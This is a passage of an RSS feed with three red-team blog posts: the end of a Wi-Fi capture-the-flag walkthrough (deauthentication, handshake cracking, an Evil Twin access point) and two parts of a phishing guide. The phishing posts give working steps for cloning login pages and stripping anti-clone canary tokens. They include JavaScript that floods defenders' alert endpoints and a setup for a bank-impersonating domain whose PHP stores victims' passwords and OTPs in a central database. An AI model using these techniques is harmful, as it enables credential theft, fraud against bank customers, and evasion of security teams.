src="https://cdn-images-1.medium.com/max/1024/1*P2oyPlZLTnjZfEscZlu_8g.png" /></figure><pre># nano open.conf<br>network={ <br>	ssid=&quot;wifi-guest&quot; <br>	key_mgmt=NONE <br>}</pre><pre># <br>wpa_supplicant -Dnl80211 -i wlan2 -c open.conf</pre><pre># <br>dhclient -v wlan2</pre><pre># <br>systemctl stop network-manager<br>ip link set wlan2 down<br>macchanger -m b0:72:bf:44:b0:49 wlan2<br>ip link set wlan2 up</pre><pre># <br>wpa_supplicant -Dnl80211 -iwlan2 -c open.conf</pre><pre># <br>sudo dhclient -v wlan2</pre><pre># <br>wireshark ~/wifi/scanc6-01.cap</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/794/1*UAEfstGx3-h6-W9vFjWpxQ.png" /></figure><p>To bypass? Change your Mac address</p><p>Once the MAC address is changed using <strong>macchanger</strong>, we reconnect with <strong>wpa_supplicant</strong>, and we can see that access to the server’s login page is now possible.</p><p>To obtain the login credentials, we start a capture with <strong>airodump-ng</strong> using the <strong>-w</strong> option to save the output. After a few minutes (around 3–5 minutes), HTTP requests appear inside the <strong>.cap</strong> file when analyzed in <strong>Wireshark</strong>. Among these requests, we can find a <strong>POST</strong> request containing the username and password.</p><pre>wireshark scanc6-01.cap</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/849/1*npJ-C4K4hTA5s7b4Si42zg.png" /></figure><h3>3.Attackes WEP</h3><pre>sudo airodump-ng wlan0mon --manufacturer --wps --band abg</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*W_CcZzlZZUk1KN2AOxBAlg.png" /></figure><pre>besside-ng -c 3 -b F0:9F:C2:71:22:11 wlan0mon -v</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/972/1*GHcqxeMsWVO_UQmoywCDug.png" /></figure><p>Or just you can do it manually</p><h3>4. WPA2</h3><p>The <strong>WPA2-PSK</strong> protocol is one of the most widely used security systems for home Wi-Fi networks, relying on a <strong>pre-shared password</strong> used by all connected devices and the access point. When a device attempts to connect, a process called the <strong>4-Way Handshake</strong> takes place, which verifies the password without sending it over the air. Once the connection is successful, each device receives a <strong>unique encryption key</strong>, providing an additional layer of security.</p><p>Despite its strength, the security of WPA2-PSK mainly depends on the <strong>password’s complexity</strong>; weak passwords can be easily cracked by capturing the handshake and using brute-force attacks. The protocol was also previously vulnerable to the <strong>KRACK</strong> attack, which has been mitigated through updates. For maximum protection, it is recommended to use a strong password, disable WPS, and, when possible, adopt <strong>WPA3</strong> or enterprise-based authentication systems.</p><h4>08. What is the wifi-mobile AP password?</h4><p>Instead of waiting hours for a client to connect naturally, we force the handshake by sending deauthentication packets with aireplay-ng. This kicks every connected device off the network, and when any client automatically reconnects (usually within seconds), the 4-way WPA handshake is transmitted and instantly captured by airodump-ng running in the background.</p><p>Once airodump-ng shows “WPA handshake” in the top-right corner, the capture file contains everything needed to recover the password.</p><pre>airodump-ng wlan0mon -w scan8 -c6 --wps</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BKSFgYTAwdYjTpTgo8XDLQ.png" /></figure><pre>aireplay-ng -0 10 -a F0:9F:C2:71:22:12 wlan0mon</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GnTp2ds9LRgTk3sTSDk-fw.png" /></figure><p>back to</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bEuyOmJ3WmlMUZyBUvvyag.png" /></figure><p>Crack</p><pre>aircrack-ng ~/tools/scan8-01.cap -w ~/rockyou-top100000.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IAjCTNN1T5NQ6kbuYiHN8w.png" /></figure><h4>09. What is the IP of the web server in the wifi-mobile network?</h4><pre>airdecap-ng -e wifi-mobile -p $$$$ ~/tools/scan8-01.cap <br> <br>wireshark scanc6-01-dec.cap</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*07fFTurg57QkcfXWoYQ-Bg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3g7urtXisWg9ktQwNn3D4g.png" /></figure><p>In the decrypted packets, the HTTP traffic clearly shows requests going to <strong>192.168.2.1</strong> (usually port 80 or 8080), which is the default gateway and also hosting a web server (admin panel or captive portal).</p><p>So the web server IP = <strong>192.168.2.1</strong> (the router itself).</p><h4>10. what is the flag after login in wifi-mobile?</h4><pre># nano net.conf<br>network={<br>    ssid=&quot;wifi-mobile&quot;<br>    psk=&quot;$$$$&quot;<br>    scan_ssid=1<br>    key_mgmt=WPA-PSK<br>    proto=WPA2<br>}</pre><pre>wpa_supplicant -Dnl80211 -iwlan3 -c net.conf</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_mq2j9Uj0ADne5qDrhRMDg.png" /></figure><pre>dhclient wlan3 -v</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/635/1*kZHa-BODWw75b3qwAzJoJA.png" /></figure><h4>11. Is there client isolation in the wifi-mobile network?</h4><pre># we already in Netwoatk and we have ip <br>arp-scan -I wlan3 -l</pre><pre>curl 192.168.2.7</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pXAw5xq-z8hN9O2NnFCU7g.png" /></figure><p>If Client Isolation were enabled on the network, it would be impossible for one device to see or communicate with another.However, we were able to scan and see all the devices, and we were even able to reach the device at 192.168.2.7 and open its page using curl.This means the devices are communicating with each other normally → Therefore, Client Isolation is disabled on the Wi-Fi mobile network.</p><h4>12. What is the wifi-office password?</h4><p><strong>attack explanation (Evil Twin + Karma):</strong></p><p>The attacker created a fake Evil Twin AP named <strong>wifi-offices</strong> using this hostapd config that explicitly contains: wpa_passphrase=temporary123</p><p>Any client that has ever connected to the real “wifi-office” network in the past will see the fake AP broadcasting the same SSID and automatically connect to it (classic Karma behavior).</p><p>When the victim connects, the Evil Twin captures the full WPA handshake and saves it to <strong>hostapd.hccapx</strong> or <strong>wifi-offices.hash</strong>.</p><pre>interface=wlan1<br>driver=nl80211<br>hw_mode=g<br>channel=1<br>ssid=wifi-offices<br>mana_wpaout=/root/hostapd.hccapx<br>wpa=2<br>wpa_key_mgmt=WPA-PSK<br>wpa_pairwise=CCMP<br>rsn_pairwise=CCMP<br>wpa_passphrase=temporary123</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*p_SAmLSiEZqCf160xl9AMA.png" /></figure><pre>sudo airodump-ng wlan0mon</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*v_AwjnaeUR7fKjpegKWmvQ.png" /></figure><p>now we have hash</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OkosjZWpCOT06aoSKh0NEQ.png" /></figure><pre>sudo hashcat -a 0 -m 22000 wifi-offices.hash /root/rockyou-top100000.txt --force</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*itiM4QXyyrdUToYCr4_gGA.png" /></figure><p>If hash mode <strong>2500</strong> doesn’t work, you can convert it to <strong>22000</strong> using the following steps:</p><p><strong>1.Convert the hccapx file to pcap:</strong></p><pre>hcxhash2cap --hccapx=hostapd.hccapx -c aux.pcap</pre><p><strong>2.Extract the 22000 hash from the pcap:</strong></p><pre>hcxpcapngtool aux.pcap -o hash.22000</pre><p><strong>3.Crack the hash outside the VM or with a newer version of Hashcat:</strong></p><pre>sudo hashcat -a 0 -m 22000 hash.22000 ~/rockyou.txt --force</pre><p><strong>Stay tuned for Part 2</strong> We will dive deep into:</p><h4>All you Need about Evil Twin Attacks in WAP2/3</h4><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0a375ee4316f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The Art of Phishing — Part Two: Cloning Websites]]></title>
            <link>https://medium.com/@DbgMan/the-art-of-phishing-part-two-cloning-websites-48e796ad642d?source=rss-c764dd1f18ab------2</link>
            <guid isPermaLink="false">https://medium.com/p/48e796ad642d</guid>
            <dc:creator><![CDATA[Abdelrahman Y. (DbgMan)]]></dc:creator>
            <pubDate>Fri, 07 Nov 2025 13:03:06 GMT</pubDate>
            <atom:updated>2025-11-22T22:17:37.266Z</atom:updated>
            <content:encoded><![CDATA[<h3>The Art of Phishing — Part Two: Cloning Websites</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/630/1*aia_ZR6Yv5qIjyHbvnoSow.png" /></figure><blockquote>Hi — I’m <em>DebuggerMan</em>, a Red Teamer<br>This post covers phishing: What is Cloning, 4 Cloning Methods, 6 Detection Mechanisms, and Evasion Techniquesn</blockquote><h3>First What is Cloning?</h3><p>Cloning is copying a real website (like a bank login) — HTML, CSS, JS, images — to make an identical fake version. <br>The goal is to trick users into entering credentials on your fake site instead of the real one. <br>It’s the foundation of phishing: looks 100% legit, but all data goes to the attacker. <br>Without detection evasion, the clone gets found and shut down in hours.</p><h3>Cloning Websites</h3><h4>1- Via Browser Extension</h4><p>SingleFile — <a href="https://chromewebstore.google.com/detail/singlefile/mpiodijhokgodhhofbcjdecpffjipkle">https://chromewebstore.google.com/detail/singlefile/mpiodijhokgodhhofbcjdecpffjipkle</a></p><p>Steps</p><ol><li>Open the target website (e.g., instagram.com)</li><li>Click the SingleFile icon</li><li>The file will automatically download: instagram.com.html</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*P6BsXj0hgcYqOBnBreAAhQ.png" /></figure><p><strong>See it</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Z5LXFDVnBm-Eey4u3puEig.png" /></figure><h4>2- ViaHTTrack</h4><p>A free tool (GNU GPL) that copies an entire website from the internet to your local machine, while preserving the structure (internal links, images, HTML, CSS, JS).</p><pre>sudo apt update<br>sudo apt install httrack -y</pre><pre>httrack &quot;https://example.com&quot; -O /home/kali/cloned-site</pre><p><a href="https://example.com/">https://example.com</a>: The URL.</p><p>-O /path: The save folder.</p><p>Additional options: -r3 (3 levels of depth), +*.css +*.js (includes CSS/JS).</p><ul><li>use GUI</li></ul><pre>sudo apt install webhttrack -y<br>webhttrack</pre><h4>3- Using C2</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5Dw8ZsXkPhNw2SExqUl92A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CScNi06UIaC6wNDNNI6WHw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Oj-xBg8IKcJW301NwWofAw.png" /></figure><h4>4- via PyWebCopy</h4><pre>pip install pywebcopy</pre><pre>from pywebcopy import save_webpage<br><br>save_webpage(<br>    url=&#39;https://example.com/login&#39;,<br>    project_folder=&#39;F:/cloned_site&#39;,<br>    project_name=&#39;login_page&#39;<br>)</pre><p>Done: Full offline clone (HTML, CSS, JS, images) saved locally. Use for testing, phishing kits, or offline backup. Note: <em>Bypasses JS</em>, but not dynamic content (API calls).</p><p><strong>And you can use Use plugins like WP Staging or Duplicator or WP Migration</strong> <strong>for WordPres</strong>s</p><h3>Cloning Websites Detection</h3><h4>1. JavaScript Detection (Canary Token)</h4><p>A tiny JS script checks: “Am I on the real domain (e.g., inyoni-corp.com)?” If not, it silently loads a hidden image from the company’s server with your URL. Defender gets instant alert: “Phish site found: evil-login.com” → you’re busted.</p><pre>// What companies do:<br>if (window.location.hostname !== &quot;real.com&quot;) {<br>    new Image().src = &quot;https://alert.real.com/ping?l=&quot; + location.href;<br>}</pre><p><strong>How to spot it:</strong></p><ul><li>Open <strong>DevTools → Network → JS</strong> → Reload</li><li>Search JS files for: hostname, location.href, new Image(), fetch, beacon</li><li>Use: <a href="https://beautifier.io/">https://beautifier.io</a> | <a href="https://de4js.github.io/">https://de4js.github.io</a> to deobfuscate</li></ul><h4>2. CSS Detection (Hidden Background Image)</h4><p>A background: url(https://medium.com/%E2%80%98https://real.com/track/sample.com.gif&#39;) is hidden in CSS. Every page load → request hits real server with Referer: yourdomain.com. Server decodes path → sees mismatch → “Clone detected!”</p><pre>/* Hidden trap */<br>background: url(https://medium.com/&#39;https://real.com/track/sample.com.gif&#39;);</pre><p><strong>How it works:</strong></p><ul><li>Request goes to real.com</li><li>Server sees Referer: phish.com → <strong>CLONE DETECTED</strong></li></ul><p><strong>Fix:</strong></p><pre>/* Remove or replace */<br>background: #f0f0f0; /* or delete line */</pre><h4>3. Flood with Fake Alerts (Poison the Well)</h4><p>You find the alert URL → write a script to spam it with fake domains/referrers. Company gets 1,000 fake alerts → ignores the system → your real clone stays hidden. It’s noise warfare: flood the alarm so the real signal disappears.</p><pre>function fakeAlert(domain, ref) {<br>    new Image().src = &quot;https://alert.real.com/ping?l=https://&quot; + domain + &quot;&amp;r=https://&quot; + ref;<br>}<br>// Spam 1000x<br>for(let i=0; i&lt;1000; i++) {<br>    fakeAlert(&quot;fake&quot; + i + &quot;.com&quot;, &quot;google.com&quot;);<br>}</pre><p><strong>Result:</strong> Company ignores alerts → your real clone stays live</p><h4>4. Find Canary Tokens (Step-by-Step)</h4><p>A very ordinary file (such as an image, PDF file, or JS script), but a programmer notifies you when it is downloaded or opened.</p><p>Open each JS file →</p><p>Find: The word, the reason <em>hostname, checks the domain location.href, returns the link new Image(), sends a request fetch(), sends a request beacon, sends data</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/892/1*tSa2dtpxPrrnrdmjQreXtg.png" /></figure><p>if There any Obfuscation use <a href="https://beautifier.io/">https://beautifier.io/</a></p><p><a href="https://lelinhtinh.github.io/de4js/">de4js</a></p><p>To Read Js</p><h4>5. Unique Strings = Digital Fingerprint</h4><p>Original site uses weird names like favicon_a_eupayfgghqiai7k9sol6lg2.ico or bundle_2c5e8b4a.js. Defenders search Shodan/Censys for that exact string → find 100+ clones in seconds. Even one leftover hash, commit ID, or API key → your clone is exposed</p><pre>Example: Microsoft uses<br>→ favicon_a_eupayfgghqiai7k9sol6lg2.ico</pre><p><strong>Defenders search on:</strong></p><ul><li><a href="https://shodan.io/">https://shodan.io</a></li><li><a href="https://censys.io/">https://censys.io</a> → Find 100+ clones in seconds</li></ul><p>In image will Be</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3u0DOsinwe2bXI-1C4-sFw.png" /></figure><h3>Push Security</h3><p>Many companies use Push Security to protect employees from phishing by detecting cloned login pages (fake copies of Microsoft, Google, Okta, etc.) directly in the browser. <br>It works by fingerprinting the real login page (structure, CSS, JS) the first time a user visits the official domain. <br>Any identical-looking page on a different domain triggers an instant block and alert. <br>No server changes needed — just install the browser extension, and it auto-learns legitimate pages.</p><p>To bypass</p><p>1. Adversary-in-the-Middle (AitM) Reverse Proxy<br>2. DOM Structure Obfuscation &amp; Anti-Fingerprinting<br>3. Dynamic Domain Rotation &amp; URL Cloaking<br>4. Session Cookie Theft &amp; MFA Bypass <br>5. Canary Token Removal &amp; Asset Spoofing<br>6. Client-Side Code Injection to Disable Detection<br>7. Zero-Day Phishing Kit Evasion (Custom Templates)</p><p>Thanks for the read — keep hacking 🐼 stay tuned for part 3!</p><p>My Account: <a href="https://x.com/0XDbgMan?t=nTGSc_frg40NlQw4xPkrTw&amp;s=35">https://x.com/0XDbgMan?t=nTGSc_frg40NlQw4xPkrTw&amp;s=35</a></p><p>Don’t forget to check out my Notes: <a href="https://www.notion.so/Red-Team-Notes-26dabf92dc0f800ebb7ee35a93d2ea58">https://www.notion.so/Red-Team-Notes-26dabf92dc0f800ebb7ee35a93d2ea58?source=copy_link</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=48e796ad642d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The Art of  Phishing — Part One: The Infrastructure]]></title>
            <link>https://medium.com/@DbgMan/the-art-of-phishing-part-one-the-infrastructure-48f242d2ad49?source=rss-c764dd1f18ab------2</link>
            <guid isPermaLink="false">https://medium.com/p/48f242d2ad49</guid>
            <dc:creator><![CDATA[Abdelrahman Y. (DbgMan)]]></dc:creator>
            <pubDate>Thu, 06 Nov 2025 22:11:10 GMT</pubDate>
            <atom:updated>2025-11-22T22:17:47.384Z</atom:updated>
            <content:encoded><![CDATA[<h3>The Art of Phishing — Part One: The Infrastructure</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/630/0*29xdhpoi_KKTdW0b.png" /></figure><blockquote>Hi — I’m <em>DebuggerMan</em>, a Red Teamer.<br> This post dives into phishing: what it is, how to build a phishing campaign, how to choose domains (including IPs, ASNs, and subdomains), how to secure your server, and how to build the supporting infrastructure.</blockquote><h3>What is Phishing?</h3><p>Phishing remains the top initial access vector in 2023, powering ~31% of breaches despite a slight drop year-over-year.Employees juggle countless legit emails, calls, and attachments daily; security is rarely their top priority amid packed schedules.Even solid awareness training falls short when attackers weaponize open redirects on trusted domains — hovering over links looks safe, yet one click still lands on malware.Sophisticated campaigns bypass checklists, turning “hover before you click” into a false sense of security.Busy staff often see cyber rules as roadblocks; without vocal exec buy-in, shortcuts become the norm</p><p><strong>Bottom line: phishing wins because it exploits trust, timing, and human nature — not just missing patches.</strong></p><h3>How to Build a Phishing Campaign..</h3><h3>1. Infrastructure</h3><h4>1. Pick the FASTEST &amp; SAFEST Server Location</h4><p>Priority list (closest = fastest + least blocked):</p><p>Best server &gt; location</p><ol><li>Middle East → Saudi Arabia &gt; UAE &gt; Bahrain &gt; Qatar</li><li>USA → East Coast (NJ) OR West Coast (CA)</li><li>Europe → Netherlands &gt; Germany &gt; France</li></ol><p>How on Vultr (easiest):</p><ol><li>Go <a href="https://vultr.com/">https://vultr.com</a></li><li>Pick the city closest to your users</li><li>Deploy “Ubuntu 22.04 LTS” (the VM in the course is pre-made) Pro move: After deploy, open your IP in browser. Loads in &lt;1 s? Keep it. Slow or blocked? Delete &amp; redeploy elsewhere.</li></ol><h4>2. Verify the ASN (network fingerprint)</h4><p>Every provider has a good ASN. bad ASN = shared/bad IP.</p><p>Provider →</p><p>ASN Vultr → AS20473</p><p>DigitalOcean → AS14061</p><p>Azure → AS8075</p><p>AWS → AS16509</p><p>Linode → AS63949</p><p>OVH → AS16276</p><p>Check :</p><ol><li>Paste server IP → <a href="https://ipinfo.io/">https://ipinfo.io</a></li><li>OR terminal:</li></ol><pre>whois -h whois.ripe.net YOUR_IP | grep -i origin</pre><p>3. Google “ASN 20473 malicious” → Any red flags/blacklists? Nuke the server.</p><h3>3. Use TRUSTED Subdomains (impossible to block)</h3><p>Instead of raw IP, host on a free, SSL-ready subdomain.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/716/1*lNBGAbMxChFdapOLcPu9RA.png" /></figure><p>MEGA list (100+ services): → <a href="https://lots-project.com/">https://lots-project.com</a> Top picks: .pages.dev (Cloudflare), .netlify.app, .firebaseapp.com</p><h3>4. NEVER Use a Dirty IP</h3><p>Listing links:</p><p><a href="https://www.spamhaus.org/drop/drop_v4.json">https://www.spamhaus.org/drop/drop_v4.json</a> <a href="https://www.spamhaus.org/drop/drop_v6.json">https://www.spamhaus.org/drop/drop_v6.json</a> <a href="https://www.spamhaus.org/drop/asndrop.json">https://www.spamhaus.org/drop/asndrop.json</a></p><p>Avoid any provider listed in DROP</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/479/1*brEqxzPTODnjCA6yjRWBQA.png" /></figure><p>One red flag = instant server change.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/895/1*4Oy86Yzx4QIbzNbdMmA4rA.png" /></figure><h3>2. Domain</h3><h4>Goal</h4><p>Domain lives 5–14 days + hosting that does not drop in one hour.</p><h4>1. Pick the Registrar (Domain Seller)</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/361/1*5BFcZyEof4thVRr-hGt_wg.png" /></figure><p>Rule: Buy .com only, always turn on WHOIS Privacy.</p><h4>2. Smart Domain Name</h4><ul><li>Buy a generic domain: Example.com</li><li>Create a subdomain: login.Example.com</li><li>Or: secure-portal.net</li><li>Or: it-helpdesk.org</li></ul><p>Never use:</p><ul><li>o365-login.com</li><li>microsoft-support.xyz</li></ul><p>Rule: The more “normal” the name, the less detection.</p><h4>3. Pick Hosting</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/535/1*ZJvFQoToCY-I6ZPYCP79JQ.png" /></figure><p><strong>Rule: All 3 IPs point to the same subdomain in DNS.</strong></p><h4>4. Vet the IP Before You Pay</h4><ol><li>rab the IP</li><li>Open:</li></ol><ul><li><strong>abuseipdb.com</strong> → must be 0 reports</li><li><strong>virustotal.com</strong> → 0/90</li><li><strong>spamhaus.org/drop</strong> → if listed = delete</li></ul><p>Rule: 100% clean IP or spin a new one.</p><h3>4. Multi-Provider Infrastructure (Never Goes Down)</h3><ul><li>Spin up <strong>3 servers</strong>: 1 Vultr (Frankfurt) 2 DigitalOcean (London) 3 Cloudflare Workers (free)</li><li>Add all 3 IPs as <strong>A records</strong> to the same subdomain.</li><li>Scan each IP: abuseipdb.com → 0 reports virustotal.com → 0/90</li><li>One server dies → the other two keep the campaign alive.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/892/1*LcSjbQfrWIl5BbGtaZ8FdQ.png" /></figure><h3>5. Server Spin-Up (Apache OR Nginx)</h3><h4>1. APACHE + PHP</h4><pre># 1 Install<br>sudo apt update &amp;&amp; sudo apt install apache2 php libapache2-mod-php php-mysql php-curl php-mbstring -y<br><br># 2 Folder<br>sudo mkdir -p /var/www/alahli-login.com/public_html<br>sudo chown -R $USER:$USER /var/www/alahli-login.com/public_html<br><br># 3 Virtual Host (1 file)<br>sudo tee /etc/apache2/sites-available/alahli-login.com.conf &gt; /dev/null &lt;&lt;&#39;EOF&#39;<br>&lt;VirtualHost *:80&gt;<br>    ServerName alahli-login.com<br>    ServerAlias www.alahli-login.com<br>    DocumentRoot /var/www/alahli-login.com/public_html<br><br>    &lt;Directory /var/www/alahli-login.com/public_html&gt;<br>        Options -Indexes +FollowSymLinks<br>        AllowOverride All<br>        Require all granted<br>    &lt;/Directory&gt;<br><br>    &lt;FilesMatch &quot;^[^.]+$&quot;&gt;<br>        SetHandler application/x-httpd-php<br>    &lt;/FilesMatch&gt;<br><br>    ErrorLog ${APACHE_LOG_DIR}/alahli-login.com_error.log<br>    CustomLog ${APACHE_LOG_DIR}/alahli-login.com_access.log combined<br>&lt;/VirtualHost&gt;<br>EOF<br><br># 4 Activate<br>sudo a2ensite alahli-login.com.conf<br>sudo a2enmod rewrite<br>sudo systemctl reload apache2<br><br># 5 Test page (no .php in URL)<br>sudo tee /var/www/alahli-login.com/public_html/index &gt; /dev/null &lt;&lt;&#39;EOF&#39;<br>&lt;!DOCTYPE html&gt;&lt;html&gt;&lt;head&gt;&lt;title&gt;تسجيل الدخول&lt;/title&gt;&lt;/head&gt;<br>&lt;body&gt;&lt;?php echo &quot;&lt;h1&gt;hi!!&lt;/h1&gt;&quot;; ?&gt;&lt;/body&gt;&lt;/html&gt;<br>EOF</pre><h4>2. FIREWALL (Never lock yourself out)</h4><pre>sudo ufw allow OpenSSH<br>sudo ufw allow http<br>sudo ufw allow https<br>sudo ufw --force enable</pre><h4>3. DNS — 3 IPs = Unblockable</h4><pre>In Porkbun DNS → Records<br>Type   Host        Value<br>A      @           45.76.200.150     Vultr<br>A      @           159.89.123.45     DigitalOcean  <br>A      @           104.21.0.123      Cloudflare<br><br>Subdomain (recommended)<br>A      login       45.76.200.150<br>A      login       159.89.123.45<br>A      login       104.21.0.123<br>→ login.yourdomain.com</pre><h4>TEST EVERYTHING</h4><pre># DNS<br>dig login.yourdomain.com +short<br><br># SSL<br>curl -I https://login.yourdomain.com<br><br># Apache page<br>curl https://login.yourdomain.com<br></pre><ul><li>Hide server version: server_tokens off;</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/900/1*Fif1rWWYUKp_xW4zQQ0ORQ.png" /></figure><h3>6. SSL</h3><p>First What is SSL?</p><p>SSL (Secure Sockets Layer) is a protocol that encrypts the connection between a user’s browser and the server, preventing eavesdropping and data tampering.<br> It also verifies the website’s identity through a Certificate Authority (CA), ensuring trust and enabling secure HTTPS communication.</p><h4>How to Add SSL?</h4><h4>1. FREE SSL (Let’s Encrypt)</h4><pre>sudo apt install certbot python3-certbot-apache -y<br>sudo a2enmod ssl<br>sudo systemctl restart apache2</pre><p>One command does everything:</p><pre>sudo certbot --apache -d login.Example.com -d www.login.Example.com</pre><p>Result:</p><ul><li>Green padlock</li><li>Auto HTTP → HTTPS</li><li>Cert lives in /etc/letsencrypt/live/…</li></ul><h4>2. Make It Work on ALL 3 Servers</h4><p>Option A — Wildcard (one cert for every server)</p><pre>sudo certbot certonly --manual \<br>  -d &quot;*.example.com&quot; -d &quot;example.com&quot; \<br>  --preferred-challenges dns</pre><p>Copy the two files to Vultr + DO + CF.</p><p>Option B — Per-server (lazy way) Run the same certbot — apache line on EVERY server.</p><h4>3. PAID SSL (Comodo DV) — $9/year, Zero Logs</h4><ul><li>Porkbun → buy realhealthysnacks.com → add “Comodo DV SSL” → $9</li><li>Generate CSR on any Linux box</li></ul><pre>openssl req -new -newkey rsa:2048 -nodes -keyout rs.key -out rs.csr</pre><p>Fill: Country: US Company: Healthy Snacks Inc Common Name: realhealthysnacks.com</p><ol><li>Paste CSR in Porkbun → validate via DNS (TXT record)</li><li>Download 3 files: rs.crt rs.ca-bundle.crt rs.key</li><li>Upload to every server</li></ol><pre>sudo mkdir -p /etc/ssl/private /etc/ssl/certs<br>sudo mv rs.* /etc/ssl/certs/<br>sudo mv rs.key /etc/ssl/private/</pre><p>Apache config (copy-paste)</p><pre>sudo nano /etc/apache2/sites-available/rs.conf</pre><pre>&lt;VirtualHost *:443&gt;<br>    ServerName realhealthysnacks.com<br>    DocumentRoot /var/www/rs/public_html<br>    SSLEngine on<br>    SSLCertificateFile      /etc/ssl/certs/rs.crt<br>    SSLCertificateKeyFile   /etc/ssl/private/rs.key<br>    SSLCertificateChainFile /etc/ssl/certs/rs.ca-bundle.crt<br>&lt;/VirtualHost&gt;</pre><pre>sudo a2ensite rs.conf<br>sudo systemctl restart apache2</pre><h3>7. Central Database (All Servers Feed One Place)</h3><ul><li>Sign up <strong>PlanetScale</strong> (free MySQL cloud).</li><li>Create DB “phishing” → table “victims” (user, pass, OTP, IP, UA).</li><li>Drop <strong>connect.php</strong> on every server:</li></ul><pre>$conn = new PDO(&quot;mysql:host=aws.connect.psdb.cloud;dbname=phishing&quot;, &quot;user&quot;, &quot;pass&quot;, [<br>    PDO::MYSQL_ATTR_SSL_CA =&gt; true<br>]);<br>$stmt = $conn-&gt;prepare(&quot;INSERT INTO victims(...) VALUES(?,?,?,?,?)&quot;);<br>$stmt-&gt;execute([$user,$pass,$otp,$ip,$ua]);<br>header(&quot;Location: success.html&quot;);</pre><h3>Now Lets Secure Our Server</h3><h4>First Analyzing Server Security</h4><p>1- HTTP Access =&gt; make it just https <br>2- close all Open Ports<br>sudo nmap 127.0.0.1 -Pn -p- -sV<br>if u see anythink like 80 or 20 its vuln !</p><p>3- Server Information Disclosure<br>curl -I https://urDomain.com<br>will see : Server: Apache/2.4.58 (Ubuntu)<br>X-Powered-By: PHP/8.1</p><p>4- Direct IP Access<br>Bots scan every IP address in the world. If they access your IP address, they will discover the site even if the domain is blocked.<br>curl <a href="https://123.45.67.89/">https://123.45.67.89</a> =&gt; if u see Ur site thats Wrong</p><p>5- Application Security =&gt; like sql injecion</p><p>6- Web Application Firewall<br>make a WAF</p><p>Sooo Lets Fix</p><h4>Restrict HTTP Access</h4><p>we have two options: disabling HTTP access entirely or redirecting HTTP requests to HTTPS.</p><p>1- Disabling HTTP Via Firewall<br>sudo ufw deny 80<br>sudo ufw reload<br>test = &gt; curl http://urDomain.com<strong> u will see Error</strong></p><p>2- Disabling HTTP Via Apache Configuration</p><pre>sudo nano /etc/apache2/ports.conf<br>Delete or pin the line : # Listen 80<br>sudo systemctl reload apache2<br>=&gt; Now the port will be closed, not filtered.</pre><p>3- Redirecting HTTP to HTTPS<br>The most reliable method is by modifying the HTTP virtual host configuration file</p><pre>sudo a2enmod rewrite<br>sudo systemctl restart apache2<br>sudo nano /etc/apache2/sites-available/000-default.conf<br>Paste this part inside &lt;VirtualHost :80&gt;:<br>&lt;VirtualHost *:80&gt;<br> ServerName UrDomain.com<br> ServerAlias www.UrDomain.com<br># make Him HTTPS<br> RewriteEngine On<br> RewriteCond %{HTTPS} off<br> RewriteRule ^ https://%{HTTP_HOST}%{REQUEST_URI} [L,R=301]<br># Deny<br> &lt;Directory /var/www/html&gt;<br> Options -Indexes<br> AllowOverride All<br> &lt;/Directory&gt;<br>&lt;/VirtualHost&gt;<br>sudo systemctl reload apache2</pre><h3>Blocking Direct IP Access</h3><p>Scanners scan every IP in Vultr… if they hit your IP → you’re flagged</p><p><strong>1- The first method</strong></p><pre>sudo a2enmod rewrite<br>sudo systemctl restart apache2</pre><pre>sudo nano /etc/apache2/sites-available/alahli-ssl.conf<br>Attach this part to the very end:<br># ================== Deny the ip ==================<br>RewriteEngine On<br># If the host is not alahli-phish.com or www.alahli-phish.com<br>RewriteCond %{HTTP_HOST} !^(www\.)?alahli-phish\.com$ [NC]<br># Not Null<br>RewriteCond %{HTTP_HOST} !^$<br># Retuan Forbidden<br>RewriteRule ^ - [F]<br># =================================================</pre><p>sudo systemctl reload apache2<br> — — — — — — — — — — — — — — — — — — — -</p><p><strong>2- The second way</strong></p><pre>sudo nano /etc/apache2/sites-available/999-block-ip.conf<br>&lt;VirtualHost 